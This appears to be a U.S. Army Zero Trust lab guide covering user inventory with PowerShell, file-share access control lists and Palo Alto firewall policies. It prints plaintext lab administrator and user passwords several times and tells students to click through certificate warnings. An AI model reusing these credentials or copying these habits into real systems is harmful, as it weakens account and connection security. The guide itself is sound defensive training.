CYBER CENTER OF EXCELLENCE

FORT GORDON, GEORGIA

Zero Trust Lab Guide



Version 1.0 5 October 2022

TABLE OF CONTENTS

INTRO	DUCTION	5
LAB SE	ETUP:	5
1.	ZERO TRUST PILLAR 1- USERS	10
1.1	USERS PILLAR LESSON 1 (USER INVENTORY)	10
1.1.1	User Inventory Validation	11
1.2	USERS PILLAR LESSON 2 (CONDITIONAL USER ACCESS) (FUTURE COURSE)	13
1.3	USERS PILLAR LESSON 3 (MULTI-FACTOR AUTHENTICATION) (FUTURE COURSE)	14
1.4	USERS PILLAR LESSON 4 (PRIVILEGED ACCESS MANAGEMENT) (FUTURE COURSE)	14
1.5	USERS PILLAR LESSON 5 (IDENTITY FEDERATION & USER CREDENTIALING) (FUTURE COURSE)	14
1.6	USERS PILLAR LESSON 6 (BEHAVIORAL, CONTEXTUAL ID, AND BIOMETRICS) (FUTURE COURSE)	14
1.7	USERS PILLAR LESSON 7 (LEAST PRIVILEGED ACCESS)	14
1.7.1	Configuring Access Control Lists	15
1.7.2	Testing Access Control Techniques for Data, Applications, Assets and Services	18
1.8	USERS PILLAR LESSON 8 (CONTINUOUS AUTHENTICATION) (FUTURE COURSE)	26
1.9	USERS PILLAR LESSON 9 (INTEGRATED ICAM PLATFORM) (FUTURE COURSE)	26
2.	ZERO TRUST PILLAR 2- DEVICES	26
2.1	DEVICES PILLAR LESSON 1 (DEVICE INVENTORY)	27
2.1.1	Device Inventory with ForeScout CounterACT	28
2.2	DEVICES PILLAR LESSON 2 (DEVICE DETECTION AND COMPLIANCE)	34
2.2.1	Device Detection with ForeScout	35
2.2.2	Comply to Connect with ForeScout	38
2.3	DEVICES PILLAR LESSON 3 (DEVICE AUTHORIZATION WITH REAL TIME INSPECTION) (FUTURE COURSE) 44
2.4	DEVICES PILLAR LESSON 4 (REMOTE ACCESS) (FUTURE COURSE)	44
2.5	DEVICES PILLAR LESSON 5 (PARTIALLY & FULLY AUTOMATED ASSET, VULNERABILITY AND PATCH MANAGEMENT) (FUTURE COURSE)	44
2.6	DEVICES PILLAR LESSON 6 (UNIFIED ENDPOINT MANAGEMENT (UEM) & MOBILE DEVICE MANAGEMEN (MDM)) (FUTURE COURSE)	т 44
2.7	DEVICES PILLAR LESSON 7 (ENDPOINT & EXTENDED DETECTION & RESPONSE (EDR & XDR))	44
2.7.1	EDR/XDR Solution Overview	45
2.7.2	EDR/XDR Respond to Malicious Threat Event	54
3.	ZERO TRUST PILLAR 3- APPLICATION AND WORKLOAD	62
3.1	APPLICATION AND WORKLOAD PILLAR LESSON 1 (APPLICATION INVENTORY)	63
3.1.1	Conduct Application Inventory on Systems within the Lab Environment with ForeScout	64
3.2	APPLICATION AND WORKLOAD PILLAR LESSON 2 (SECURE SOFTWARE DEVELOPMENT & INTEGRATION (FUTURE COURSE)) 66
3.3	APPLICATION AND WORKLOAD PILLAR LESSON 3 (SOFTWARE RISK MANAGEMENT) (FUTURE COURSE)	66
3.4	APPLICATION AND WORKLOAD PILLAR LESSON 4 (RESOURCE AUTHORIZATION & INTEGRATION)	66
3.5	APPLICATION AND WORKLOAD PILLAR LESSON 5 (CONTINUOUS MONITORING AND ONGOING AUTHORIZATIONS) (FUTURE COURSE)	67
4.	ZERO TRUST PILLAR 4- DATA (CURRENTLY IN DEVELOPMENT)	67
4.1	DATA PILLAR LESSON 1 (DATA CATALOG RISK ALIGNMENT) (FUTURE COURSE)	68

4.2	DATA PILLAR LESSON 2 (DOD ENTERPRISE DATA GOVERNANCE) (FUTURE COURSE)	.68
4.3	DATA PILLAR LESSON 3 (DATA LABELING AND TAGGING) (FUTURE COURSE)	.69
4.4	DATA PILLAR LESSON 4 (DATA MONITORING AND SENSING) (FUTURE COURSE)	.69
4.5	DATA PILLAR LESSON 5 (DATA ENCRYPTION & RIGHTS MANAGEMENT) (FUTURE COURSE)	.69
4.6	DATA PILLAR LESSON 6 (DATA LOSS PREVENTION (DLP))	.69
4.6.1	Download Sensitive Information from a Website to Test DLP Capabilities	.70
4.7	DATA PILLAR LESSON 7 (DATA ACCESS CONTROL)	.73
5.	ZERO TRUST PILLAR 5- NETWORK AND ENVIRONMENT	.74
5.1	NETWORK AND ENVIRONMENT PILLAR LESSON 1 (DATA FLOW MAPPING)	.74
5.1.1	Data Flow Mapping	.75
5.2	NETWORK AND ENVIRONMENT PILLAR LESSON 2 (SOFTWARE DEFINED NETWORKING (SDN) (FUTURE COURSE)	78
5.3	NETWORK AND ENVIRONMENT PILLAR LESSON 3 (MACRO SEGMENTATION)	.79
5.3.1	Plan for Macro-Segmentation	. 80
5.3.2	Implement Macro-Segmentation Policies with a Palo Alto Next Generation Firewall	. 81
5.4	NETWORK AND ENVIRONMENT PILLAR LESSON 4 (MICRO SEGMENTATION)	. 85
5.4.1	Plan Micro-Segmentation in your Organization	. 86
5.4.2	Implement Micro-Segmentation for a Single Subnet with Palo Alto Global Protect	.88
6.	ZERO TRUST PILLAR 6- AUTOMATION AND ORCHESTRATION	.90
6.1	AUTOMATION AND ORCHESTRATION PILLAR LESSON 1 (POLICY DECISION POINT & POLICY ORCHESTRATION)	. 91
6.1.1	Planning Policy Decision Points and Policy Enforcement Points	. 92
6.1.2	Configuring Policy Decision Points and Policy Enforcement Points	. 93
6.2	AUTOMATION AND ORCHESTRATION PILLAR LESSON 2 (CRITICAL PROCESS AUTOMATION) (FUTURE COURSE)	.96
6.3	AUTOMATION AND ORCHESTRATION PILLAR LESSON 3 (MACHINE LEARNING) (FUTURE COURSE)	.96
6.4	AUTOMATION AND ORCHESTRATION PILLAR LESSON 4 (ARTIFICIAL INTELLIGENCE) (FUTURE COURSE)	. 97
6.5	AUTOMATION AND ORCHESTRATION PILLAR LESSON 5 (SECURITY ORCHESTRATION, AUTOMATION & RESPONSE (SOAR))	. 97
6.5.1	Planning Security Orchestration, Automation and Response	. 98
6.5.2	Configure Elastic Stack Rules for Automated Security Responses	. 98
6.6	AUTOMATION AND ORCHESTRATION PILLAR LESSON 6 (API STANDARDIZATION) (FUTURE COURSE) 7	104
6.7	AUTOMATION AND ORCHESTRATION PILLAR LESSON 7 (SECURITY OPERATIONS CENTER (SOC) & INCIDENT RESPONSE (IR))	104
6.7.1	Security Operations Center (SOC) Functions	105
6.7.2	Conducting Incident Response with XDR/EDR Solutions	106
7.	ZERO TRUST PILLAR 7- VISIBILITY AND ANALYTICS1	114
7.1	VISIBILITY AND ANALYTICS PILLAR LESSON 1 (TRAFFIC LOGGING)	114
7.1.1	Elastic Lab Architecture Based off of Army Tactical Fielding	116
7.1.2	Collect Client logs with Winlogbeat	116
7.1.3	Collecting Logs from an Endgame Endpoint Detection and Response (EDR) Server	123
7.1.4	Collecting Logs from a Security Onion Intrusion Detection System to feed a separate Elastic SIEM.	124
7.2	VISIBILITY AND ANALYTICS PILLAR LESSON 2 (SECURITY INFORMATION AND EVENT MANAGEMENT (SIEM))	125
7.2.1	SIEM Functionality Overview	127

7.2.2	Security Alerting and Enabling Signatures in a SIEM	. 137
7.2.3	Custom Rule Creation in a SIEM	. 142
7.2.4	Create an Incident Case within a SIEM	. 147
7.3	VISIBILITY AND ANALYTICS PILLAR LESSON 3 (COMMON SECURITY AND RISK ANALYTICS)	. 150
7.3.1	Mitre ATT&CK Framework Common Security Threats	. 151
7.3.2	Mitre ATT&CK Stimulation and Response Exercise for Common Security Threats	. 163
7.4	VISIBILITY AND ANALYTICS PILLAR LESSON 4 (USER AND ENTITY BEHAVIOR ANALYTICS) (FUTURE COURSE)	. 183
7.5	VISIBILITY AND ANALYTICS PILLAR LESSON 5 (THREAT INTELLIGENCE) (FUTURE COURSE)	. 183
7.6	VISIBILITY AND ANALYTICS PILLAR LESSON 6 (DYNAMIC POLICY CREATION WITH ML/AI/ANOMALY DETECTION) (FUTURE COURSE)	.183

Introduction

The following lab guide is for use in all Cyber Center of Excellence (CCoE) Zero Trust Courses.

The following Terminal Learning Objectives will be covered in the Zero Trust Course:

- TLO Introduction to Zero Trust Architectures (ZTA) (No Lab Portion)
- TLO Designing Zero Trust Architectures (No Lab Portion)
- TLO Zero Trust Pillar 1 Users
- TLO Zero Trust Pillar 2 Devices
- TLO Zero Trust Pillar 3 Application and Workload
- TLO Zero Trust Pillar 4 Data
- TLO Zero Trust Pillar 5 Network and Environment
- TLO Zero Trust Pillar 6 Automation and Orchestration
- TLO Zero Trust Pillar 7 Visibility and Analytics
- TLO Operating and Maintaining a ZTA (Future)
- TLO Prevent Adversary Threat Activity with a ZTA (Red Team Event)
- TLO Implementing a ZTA in a tactical environment (Future)
- TLO ZTA in the DODIN-A Enterprise (Future)

Lab Setup:

Login to your Student Laptop. You will be assigned a student number between 1 and 20 from your instructor.

Below is your IP address based on your student number. NOTE: These may change, so get the latest IP addres from your instructor.

	System	
Computer Name	Туре	Public IP
ZTWinStudent01	Windows	10.91.255.5
ZTWinStudent02	Windows	10.91.255.6
ZTWinStudent03	Windows	10.91.255.7
ZTWinStudent04	Windows	10.91.255.9
ZTWinStudent05	Windows	10.91.255.8

ZTWinStudent06	Windows	10.91.255.10
ZTWinStudent07	Windows	10.91.255.11
ZTWinStudent08	Windows	10.91.255.15
ZTWinStudent09	Windows	10.91.255.12
ZTWinStudent10	Windows	10.91.255.16
ZTWinStudent11	Windows	10.91.255.13
ZTWinStudent12	Windows	10.91.255.14
ZTWinStudent13	Windows	10.91.255.18
ZTWinStudent14	Windows	10.91.255.17
ZTWinStudent15	Windows	10.91.255.19
ZTWinStudent16	Windows	10.91.255.20
ZTWinStudent17	Windows	10.91.255.21
ZTWinStudent18	Windows	10.91.255.22
ZTWinStudent19	Windows	10.91.255.23
ZTWinStudent20	Windows	10.91.255.24

See Below for Linux Systems:

ZTKaliStudent01	Linux	10.91.1.61
ZTKaliStudent02	Linux	10.91.1.62
ZTKaliStudent03	Linux	10.91.1.63
ZTKaliStudent04	Linux	10.91.1.64
ZTKaliStudent05	Linux	10.91.1.65
ZTKaliStudent06	Linux	10.91.1.66
ZTKaliStudent07	Linux	10.91.1.67
ZTKaliStudent08	Linux	10.91.1.68
ZTKaliStudent09	Linux	10.91.1.69
ZTKaliStudent10	Linux	10.91.1.70
ZTKaliStudent11	Linux	10.91.1.71
ZTKaliStudent12	Linux	10.91.1.72
ZTKaliStudent13	Linux	10.91.1.73
ZTKaliStudent14	Linux	10.91.1.74
ZTKaliStudent15	Linux	10.91.1.75
ZTKaliStudent16	Linux	10.91.1.76
ZTKaliStudent17	Linux	10.91.1.77
ZTKaliStudent18	Linux	10.91.1.78
ZTKaliStudent19	Linux	10.91.1.79
ZTKaliStudent20	Linux	10.91.1.80

Use Remote Desktop to connect to your Windows System:

퉋 Remote	Desktop Connection	_		×	
N	Remote Desktop Connection				
Computer:	10.91.255.5	~			
User name:	zt\pat.mahomes				
You will be as	sked for credentials when you conn	ect.			
Show O	ptions	Connect	Help	.]	
+ v	Vindows Security				×
Enter	your credentials				
These o	redentials will be used to c	connect to 10.	91.255.5		
These c	redentials will be used to c	connect to 10.	91.255.5		
These of zt\do	redentials will be used to c d_admin	connect to 10.	91.255.5		
These o zt∖do	credentials will be used to o	connect to 10.	91.255.5		
These of zt\dod ••••	redentials will be used to o d_admin ••••••• member me	connect to 10.	9 1 .255.5		
These of zt\dod •••• Ref	redentials will be used to o d_admin ••••••• member me • choices	connect to 10.	@		
These of zt\do •••• Ref More	redentials will be used to o d_admin member me choices pat.mahomes zt\pat.mahomes	connect to 10.	91.255.5 ®		
These of zt\dod ••••• Ref More	redentials will be used to o d_admin member me choices pat.mahomes zt\pat.mahomes	connect to 10.	@		
These of zt\doi •••• Rei More	credentials will be used to c d_admin member me choices pat.mahomes zt\pat.mahomes Sources Use a different account	onnect to 10.	91.255.5		
These of zt\do. Ref More	<pre>choices pat.mahomes zt\pat.mahomes Connect a smart card Use a different accoun OK</pre>	onnect to 10.	91.255.5		

Login as ZT\DoD_Admin with the password ch00\$3tHeR3dP1II!

Next, click OK and then click yes at the below prompt:

Nemote Desktop Connection	\times			
The identity of the remote computer cannot be verified. you want to connect anyway?	Do			
The remote computer could not be authenticated due to problems with its security certificate. It may be unsafe to proceed.				
Certificate name				
Name in the certificate from the remote computer: ZTWINStudent01.zt.local				
Certificate errors				
The following errors were encountered while validating the remote computer's certificate:				
1 The certificate is not from a trusted certifying authority.				
Do you want to connect despite these certificate errors?				
Don't ask me again for connections to this computer				
View certificate Yes No				

After you have logged in, select the drop down on the task bar:



Select the Globe and connect to 10.91.1.1 Palo Alto Portal

Next, if it prompts you for a password at the below screen, type your dod_admin username and password ch00\$3tHeR3dP1II! you used earlier.

% paloalto GlobalProtect	=
Enter login credentials	
Username	
DoD_Admin	
Password	
Password	
tivate Windows to Settings to activate Windows.	
Cancel	

Choose connect and you should see the following:



IMPORTANT: some labs you will be connected to the Palo Alto Global Protect Gateway and others you will not be. If something doesn't work, make sure you follow the Global Protect Gateway instructions for each lab.

You are now ready to begin the labs.

1. Zero Trust Pillar 1- Users

The Users Zero Trust Pillar

The following DoD Activities will be covered to some extent in the following portion of this lab book and/or ZT Course Slides:

- Inventory User
- Implement App Based Permissions per Enterprise
- Rule Based Dynamic Access
- Enterprise Gov't roles and Permissions
- Organizational MFA/IDP
- Alternative Flexible MFA
- Implement System and Migrate Privileged Users
- Real time Approvals & JIT/JEA Analytics
- Organizational Identity Life-Cycle Management
- Enterprise Identity Life-Cycle Management
- Implement User & Entity Behavior Activity (UEBA) Tooling
- User Activity Monitoring
- Deny User by Default Policy
- Single Authentication
- Periodic Authentication
- Continuous Authentication
- Enterprise PKI/IDP

1.1 Users Pillar Lesson 1 (User Inventory)

Background

Per the DoD ZT Capabilities and Activities: Regular and Privileged users are identified and integrated into an inventory supporting regular modifications. Applications, software and services that have local users are all part of the inventory and highlighted.

Prior to attempting the lab, please review Course Slides "Pillar 1 Users Pillar".

Outcomes

- 1) The student will gain an understanding of some user inventory techniques and will know the importance of user tracking.
- Student will receive an inventory of authorized users and will analyze current user accounts in the domain to verify which accounts are authorized and which ones are not.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	

Duration: 30 Minutes

Task

1.1.1 User Inventory Validation

The first capability within the users pillar of Zero Trust is to maintain a user inventory. The Army's current method of completing this task is through the Army Training and Certification Tracking System (ATCTS). You will be given a spreadsheet of users below from ATCTS that you will be responsible for validating.

Last	First			Phone		
Name	Name	Rank	Organization	Number	E-mail Address	Cyber Awareness Valid
Mahomes	Patrick	MG	CMD GRP	555-1515	pat.mahomes@zt.local	YES
Allen	Josh	BG	CMD GRP	555-1000	josh.allen@zt.local	YES
Hurts	Jalen	COL	CoS	555-1010	jalen.hurts@zt.local	YES
Jackson	Lamar	LTC	G3	555-1015	lamar.jackson@zt.local	YES
Burrow	Joe	LTC	G4	555-1020	joe.burrow@zt.local	YES
Herbert	Justin	LTC	G6	555-1025	justin.herbert@zt.local	NO
Carr	Derek	LTC	G1	555-1030	derek.carr@zt.local	NO
Stafford	Matt	LTC	G8	555-1035	matt.stafford@zt.local	YES
Murray	Kyler	LTC	G2	555-1040	kyler.murray@zt.local	NO
Watson	Deshaun	LTC	JAG	555-1045	deshaun.watson@zt.local	NO
Prescott	Dak	LTC	CGs XO	555-1050	dak.prescott@zt.local	YES

Login to your Windows system that you configured in the lab guide.

Username: ZT\DoD_Admin

Password: ch00\$3tHeR3dP1II!

Ensure you are connected to the Palo Alto Gateway per Lab Instructions.

Open PowerShell as an Administrator and **ping ztlabdc1** to verify connectivity.



Next, type the following command: Enter-PSSession -ComputerName ZTLabdc1

You are conducting Windows Remote Management over PowerShell on the Domain Controller to query Active Directory for Accounts.

NOTE: Best business practice is to install Active Directory PowerShell modules on the client system and run everything from the client, however I wanted to show the PowerShell PSSession capability.

You should see the screen below.

PS C:\Windows\system32> Enter-PSSession -ComputerName ZTlabdc1
[ZTlabdc1]: PS C:\Users\Administrator\Documents>

Next, you are going to complete a user account query through the use of the Get-ADUser PowerShell command.

Type the following command: Get-ADUser –Filter * -Properties * | Select-Object name, emailaddress, givenname, surname, enabled | Export-CSV C:\AGMDocuments\users.csv

[ZTlabdc1]: PS C:\Users\Administrator\Documents> Get-ADUser -Filter * -Properties * | Select-Object name, emailaddress, givenname, surname, enabled | Export-CSV C:\AGMDocuments\users.csv You are querying Active Directory for all users and selecting the fields name, e-mail address, Firstname, Lastname, and whether the account is enabled or disabled and then saving it to a csv file.

Next, use the command: **type C:\AGMDocuments\users.csv** (Note: type is the Windows version of the "cat" command in Linux.)



Are there any descrepancies between the ATCTS print out and the users in Active Directory? If a user hasn't completed their Cyber awareness training, their account should be disabled, is this true for all of the users that haven't completed it?

Answer:

LTC Kyler Murray didn't finish their Cyber Awareness training, however their account is enabled. Additionally, there is a CW4 Elliot Alderson account that wasn't in the ATCTS printout, so that may be suspicious.

Conclusion:

This lab was a very basic real world example of the importance of having a user inventory and limiting access based on a tracking system. You could get creative with PowerShell and write scripts or type commands that will allow you to automatically disable accounts that have expired Cyber Awareness training or are not listed within an ATCTS printout. There are most likely more efficient ways to accomplish these tasks with an identity solution, but this is the current method within the Army.

1.2 Users Pillar Lesson 2 (Conditional User Access) (Future Course)

Future Course

1.3 Users Pillar Lesson 3 (Multi-Factor Authentication) (Future Course)

Future Course

1.4 Users Pillar Lesson 4 (Privileged Access Management) (Future Course)

Future Course

1.5 Users Pillar Lesson 5 (Identity Federation & User Credentialing) (Future Course)

Future Course

1.6 Users Pillar Lesson 6 (Behavioral, Contextual ID, and Biometrics) (Future Course)

Future Course

1.7 Users Pillar Lesson 7 (Least Privileged Access)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations govern access to Data, Applications, Assets and Services (DAAS) using the absolute minimum access required to perform routine, legitimate tasks or activities.

Prior to attempting the lab, please review Course Slides "Pillar 1 Users".

Note: This lab will be a combined lab from three separate pillars, Pillar 1 Users, Pillar 3 Application & Workload, and Pillar 5 Data. Capability 1.7 combines with Capability 3.4 and 4.7 due to the nature of using identity to access resources and data.

Outcomes

- 1) The student will gain an understanding of configuring least privileged access to data and resources.
- 2) Student will configure policies and access control mechanisms and then conduct actions from different user accounts in order to test access to data, applications, assets and services.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	
Palo Alto	ZTPaloAlto	10.91.0.7	91	Admin:ch00\$3tHeR3dP1ll!
CMDR Username	pat.mahomes			P@\$\$W0rd1234567!

Duration: 60 Minutes

Task

1.7.1 Configuring Access Control Lists

Login to your **Windows System** as **DoD_Admin**

We are going to access the ZTLab File share and validate access control lists.

Press Windows Key + R and type <u>\\ztlabdc1\zt_files</u>

🖵 🛃 📑 = ZT	_Files				
File Home	Share	View			
← → • ↑ 📮	\\ztlal	odc1\ZT_Files			
		Name	Date modified	Туре	Size
📌 Quick access		Admins Only	12/5/2022 1:00 PM	File folder	
E. Desktop	*	CMD	12/5/2022 1:01 PM	File folder	
👆 Downloads	1	G1	11/21/2022 3:25 PM	File folder	
Documents	*	G2	12/5/2022 1:00 PM	File folder	
Pictures	*	G3	11/21/2022 3:16 PM	File folder	
logs		G4	12/5/2022 1:00 PM	File folder	
pki		G6	12/5/2022 1:00 PM	File folder	
Tasks		winlogbeat	10/17/2022 1:14 PM	File folder	
winlogbeat					

This is the local File Server (Note: normally you wouldn't host a file share on the same service as the Domain Controller, we are doing it for lab resource purposes)

Right Click on the G1 folder and click on Properties and then click on the Security Tab:

G1 Properties				×
General Security	Previous Versions	Customize		
Object name: \\	ztlabdc1\ZT_Files\	G1		
Group or user nam	es:			
SYSTEM				^
👫 G1 (ZT\G1)				
👗 DoD_Admin ((DoD_Admin)			~
<			>	
To change permis	sions, click Edit.		Edit	
Permissions for G1		Allow	Deny	
Full control				^
Modify		\checkmark		
Read & execute)	\checkmark		
List folder conte	nts	\checkmark		
Read		\checkmark		¥ .
For special permiss click Advanced.	sions or advanced se	ettings,	Advanced	
	ОК	Cancel	App	blv

Click on the **G1 Group** and look at the **permissions**. You will see that the G1 security group has been added to the G1 Folder with Read, Write and Modify access.

Next, **right click** on the **CMD Folder** and go to **properties** and then **security** and **click advanced**.

lame:	\\ztlabdc1\ZT_Files\CMD				
)wner:	Administrators (ZT\Admin	strators) <u>C</u> hange			
Permission	s Share Audi	ting Effective Access			
ermission	al information, double-click a p entries: Principal	Access	a permission entry, select th	e entry and click Edit (if available).	
	CMD (ZT\CMD)	Read write & execute	None	This folder, subfolders and files	
Allow	DoD Admin (DoD Admin)	Full control	\\ztlabdc1\ZT_Files\	This folder, subfolders and files	
Allow	Domain Admins (ZT\Domain	Full control	\\ztlabdc1\ZT_Files\	This folder, subfolders and files	
Allow	Administrators (ZT\Administ	r Full control	\\ztlabdc1\ZT_Files\	This folder, subfolders and files	
Allow	SYSTEM	Full control	Full control \\ztlabdc1\ZT_Files\		
A <u>d</u> d Disable <u>i</u> r	<u>R</u> emove <u>V</u> iew				

Now click on Effective Access. Click on Select a user under the User/Group: action.

Ì	Advanced Sec	urity Settings for CN	٨D	nie (– drucky Grundsky, se				
	Name:	\\ztlabdc1\ZT_File	s/CMD					
	Owner:	Administrators (Z	T\Administrators)	<u>C</u> hange				
	Permissions	Share	Auditing	Effective Access				
	Effective Acces domain, you ca adding a group User/ Group:	s allows you to view an also evaluate the any group that the Select a <u>u</u> se	the effective per impact of potent intended group	missions for a user ial additions to the is a member of mu	, group, or dev security toker ist be added so	vice acco for the eparatel	ount. If the accour account. When yo y.	nt is a ou ev
		Include group me	mbership	Click Add item	5	\sim	Add items	

Next **type pat** under the object name (short for pat.mahomes) and click **check names** and **OK**.

After this, **click** on **View Effective Access**.

Name:	\\ztlabdc1\ZT	_Files\CMD			
Owner:	Administrator	s (ZT\Administrator	s) <u>C</u> hange		
Permissions	Share	Auditing	Effective Access		
View effectiv	e access				
Effective acces	s	Permission		Access limited by	
×		Full control		File Permissions	
*		Traverse folder /	execute file		
*		List folder / read			
*		Read attributes			
*		Read extended at	tributes		
*		Create files / writ	e data		
*		Create folders / a	ppend data		
*		Write attributes			
*		Write extended at	ttributes		
×		Delete subfolders	and files	File Permissions	
×		Delete		File Permissions	
*		Read permissions	5		

You can now see what permissions MG Mahomes has. He was given read and write permissions to the CMD group folder, which makes sense. Next go through the same process and look for **derek.carr**.

You should now see all Red X's because derek.carr is a member of the G1 and should not have access to the CMD folder.

This lab showed how to configure access control lists on a sample File Server. Access control lists are important to understand and are critical when implementing a Zero Trust Architecture.

Now log off your Remote Desktop Connection for the next lab.

1.7.2 Testing Access Control Techniques for Data, Applications, Assets and Services

This task will combine a device, a user and access to data and applications through a policy enforcement point.

Login to your Windows Device as pat.mahomes with the password P@\$\$W0rd1234567!

Ensure your Palo Alto Global Protect is logged on and enabled.

Due to the extension of the Lab environment, we are going to disable one of the network interfaces and re-enable it at the end of the lab.

Double click your network icon at the bottom right and select "**network and internet** settings"



Scroll down and click on Change adapter options under advanced network settings.



Advanced network settings



Change adapter options View network adapters and change connection settings.



Network and Sharing Center For the networks you connect to, decide what you want to share.

Right click Ethernet 0 and disable it



When prompted for a username and password, use the DoD_Admin account with the password ch00\$3tHeR3dP1II!

Now Right Click and enable it again.

On your Windows system currently logged in as pat.mahomes **go to the fileshare** <u>\\ztlabdc1\zt_files</u> and **start browsing the different files and folders** and create a file in the cmd folder.

Next, **open** your **Firefox Browser** and **login** to the **Palo Alto management page** at <u>https://10.91.0.7</u>

Login as admin with the password: ch00\$3tHeR3dP1II!

	🐠 Login	×	+				
$\leftarrow \ \rightarrow$	C	$\bigcirc \bigcirc $	https://10.91	1.0.7/php/logir	n.php		
i Firefo	x automatically sends some	data to Mozilla	so that we can i	improve your exp	perience.	Choose What I Share	
					Username Password	admin Log In	oalto NETWORKS®

We are now going to configure some Palo Alto policies to assign permissions based on a device and user pair as seen from the slides prior to the lab.

After you have logged in, **click** on the **Policies** tab:



We are going to look at a current policy and modify it to add our IP address.

Click on the policy "Inbound_Allow_CMD_To_Fileshare_From_Internal"

7	Inbound_Allow_CMD_To_Fileshare_From_Internal	none	universal	🛱 Lab_Network	5 10.91.1.22	🥵 zt\cmd	any	ļ
						🙎 zt\pat.maho		

Look at the General tab, it shows the name of the policy and the Rule Type.

The Name should be descriptive and allow someone to understand the point of the policy even if it is their first time viewing the Firewall. These policy names should also align with your ZT policy strategy.

Security Policy Rule						0
General Sourc	User	Destination	Application	Service/URL Category	Actions	
Name	Inbound_All	ow_CMD_To_Files	hare_From_Intern	al		
Rule Type	universal (d	efault)				-
Description						
Tags						
						Cancel

Next, click on the Source Tab.

Security Po	licy Rule						0
General	Source	User	Destination	Application	Service/URL Category	Actions	
🔲 Any					🗹 Any		
Source	e Zone 🔺				🔲 Source Address 🔺		
🔲 🎉 La	b_Network						
🕂 Add 🕻	- Delete				🕂 Add 🛛 🗖 Delete		
					Negate		
							DK Cancel

There are two options here for the source and both can be filled out and used for policies. Source Zone identifies the Security Zone that the traffic is sourced from. Source Address indicates IP addresses or ranges that are assigned.

Click Add in the **Source Address section** and type in **your IP** address to identify your system as a Command Group IP address.



The preferred method is to create pre-defined groups, assign IP addresses to those groups, and then create policies that use group membership. This way, you don't have to modify IP addresses into the policy, but instead you will add your IP address to the Command Group IP Range. In this scenario, we are going to manually type in our IP address to learn the menus.

Next, click the User Tab:

		C
Destination Application	Service/URL Category	Actions
	any 💌	
	📃 HIP Profiles 🔺	
	🕂 Add 🗖 Delete	
		OK Cancel
	Destination Application	Destination Application Service/URL Category any ▼ HIP Profiles ■

You will see that the CMD group security group has been selected. This security policy applies to all users that are in the CMD security group. These are next gen firewall features that allow a Firewall to sync with identity services to assign network access to users and security groups.

Security Po	licy Rule						0
General	Source	User	Destination	Application	Service/URL Category	Actions	
select		-			Any		
🔲 Destin	ation Zone 🔺				📃 Destination Address 🔺		
🔽 🕅 La	b_Network				🔲 🔙 10.91.0.10		
🕂 Add	Delete				🕂 Add 🗖 Delete		
					Negate		
							DK Cancel

Next, **click** on the **Destination** Tab:

We have destination zone set to Lab_Network for specificity. In the destination address, we have already identified 10.91.0.10 and 10.91.1.10 as the address of the File share. Next, **click** on the **Application** Tab:

Security Po	licy Rule		in de adu				0
General	Source	User	Destination	Application	Service/URL Category	Actions	
🔲 Any							
Applic	ations 🔺						
🔲 📑 ma	s-ds-smbv2						
🔲 📑 ma	s-ds-smbv3						
🕂 Add 🌘	-) Delete						
						ОК	Cancel

We are now choosing which applications we want to allow to the file server. In Zero Trust architectures you want to allow only the bare minimum that is necessary to operate. We are using SMBv2 and SMBv3 for access to the file share. Now **click** on the **Service/URL** Category.

Security Po	licy Rule						0
General	Source	User	Destination	Application	Service/URL Category	Actions	
application	n-default	-			🗹 Any		
🔳 Servio	ie 🔺				🔲 URL Category 🔺		
Add				_	🕂 Add 🗖 Delete		
							Cancel

The service/URL category identifies which Port you are going to be allowing access to. We are choosing application default at the top left instead of any. What this does, is whatever is listed in the application portion, the application-default will choose the

default port associated with the application. In this case, we chose SMBv2, SMBv3 and ms-netlogon so Port 445 is going to be allowed for SMB and 49670 for ms-netlogon. If you have custom services in your environment, you will need to create the service here to identify the port number. The URL Category is utilized for URL filtering and URL categories, but we will not be covering this in our labs.

Next,	click	on	the	Actions	Tab:
-------	-------	----	-----	---------	------

Security Po	licy Rule								0
General	Source	User	Destination	Application	Service/URL Cate	egory	Actions		
Action S	etting				Log Setting				
	Acti	on Allow	,	-		🗹 Log	at Session Sta	art	
		S	end ICMP Unread	nable		🗹 Log	at Session En	d	
-					Log Forwarding	None			-
					Other Settings				
Profile S	etting				Schedule	None			-
	Profile Ty	pe None	2		QoS Marking None				-
-						🗌 Disa	able Server Re	sponse Inspectio	n
							0	K Can	cel

The actions tab allows you to choose what to do with the traffic. In our case, we are allowing traffic from our IP address and the ZTLab source Zone coming from any user within the Command Group security group with a destination to the file server using the application smbv2, smbv3 or ms-netlogon over port 445(SMB) or port 49670(ms-netlogon). This shows the level of granularity that you can provide using Next Gen Firewall features.

Now **press** the "**OK**" button.

Click on the **commit button** on the **top right** of the screen and **press close** when it successfully finishes.

I.

📥 Commit 🧉 👰 Config 🔻 🔍 Search	
--------------------------------	--

Next go back to **Palo Alto** and the **policies** section and **mouse over the command group policy** until you see an **arrow pointing down, click on it**:

7	Inbound_Allow_CMD_To_Fileshare_From_Internal

And then **click** on **Log Viewer**:

G	Filter
	Log Viewer
٢	Move
Q	Global Find

This will show you all of the connections that fell into the rule that you created:

٩,	(rule eq "Inbound_Allow_CMD_To_Fileshare_From_Internal")												
		Receive Time	Туре	From Zone	To Zone	Source	Source User	Destination	To Port	Ap			
Þ		02/09 11:23:36	end	Lab_Network	Lab_Network	10.91.1.30	zt\pat.mahomes	10.91.0.10	445	ms			
Þ		02/09 11:22:31	start	Lab_Network	Lab_Network	10.91.1.30	zt\pat.mahomes	10.91.0.10	445	ms			
Þ		02/09 11:22:31	start	Lab_Network	Lab_Network	10.91.1.30	zt\pat.mahomes	10.91.0.10	445	ms			
		02/09 11:20:18	start	Lab Network	Lab Network	10.91.1.30	zt\pat.mahomes	10.91.0.10	445	ms			

You have now created a policy to give access to specific users within a security group to services and data that they only they should be able to access. You have executed the principal of least privilege in this simple example. The challenge is to apply this concept to your entire environment when you are on assignment and start implementing ZT.

1.8 Users Pillar Lesson 8 (Continuous Authentication) (Future Course)

Future Course

1.9 Users Pillar Lesson 9 (Integrated ICAM Platform) (Future Course)

Future Course

2. Zero Trust Pillar 2- Devices

The Users Zero Trust Pillar

